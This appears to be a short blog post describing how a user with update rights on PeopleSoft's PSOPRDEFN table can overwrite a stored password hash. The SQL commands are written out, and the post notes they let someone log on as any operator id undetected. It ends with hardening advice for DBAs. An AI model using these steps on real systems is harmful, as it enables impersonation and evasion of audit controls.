Here is the scenario…
- You do not have access to PeopleSoft Security Administration pages to reset the password.
- You want to log on to PeopleSoft using your id and you have forgotten your password or you want to log on as some other operator id (without being detected).
This is possible “IF” (the BIG IF)
- You are the DBA
- You are not the DBA but your generous DBA has provided you SELECT and UPDATE access to PS tools tables
Here is an example.
1. I want to logon to F89XXXX but I do not remember my password. I sent an email to my security admin who is busy working on other priority issues.
SYSADM@f89xxxx > select oprid, operpswd from psoprdefn where oprid = ‘NPAI’;
2. I remember my password in F89NNNN. So I query my operator password in that db.
SYSADM@f89xxxx > select oprid, operpswd from psoprdefn@f89nnnn where oprid = ‘NPAI’;
3. Execute the below Update SQL
SYSADM@f89xxxx > update psoprdefn set operpswd = ‘VLmLlgq9QsvCkDvRoqLnvhn8SkM=’ where oprid = ‘NPAI’;
1 row updated.
SYSADM@f89xxxx > commit;
4.Voilà!! I am now able to log on to F89XXXX using my password that I remember from F89NNNN.
You can follow similar steps to log on using any other operator id. You can update it back to the original value and go undetected unless it’s being audited.
For the DBA:
- Do not provide ANY level of access to PS tools tables to ANY user in ANY environment
- PROTECTPSOPRDEFN and other security tools tables
- Consider HIDING OPERPSWD column using a view or restrict access to PSOPRDEFN using FGAC
- AUDIT all security related tools tables.
- Do not attempt this in your environment!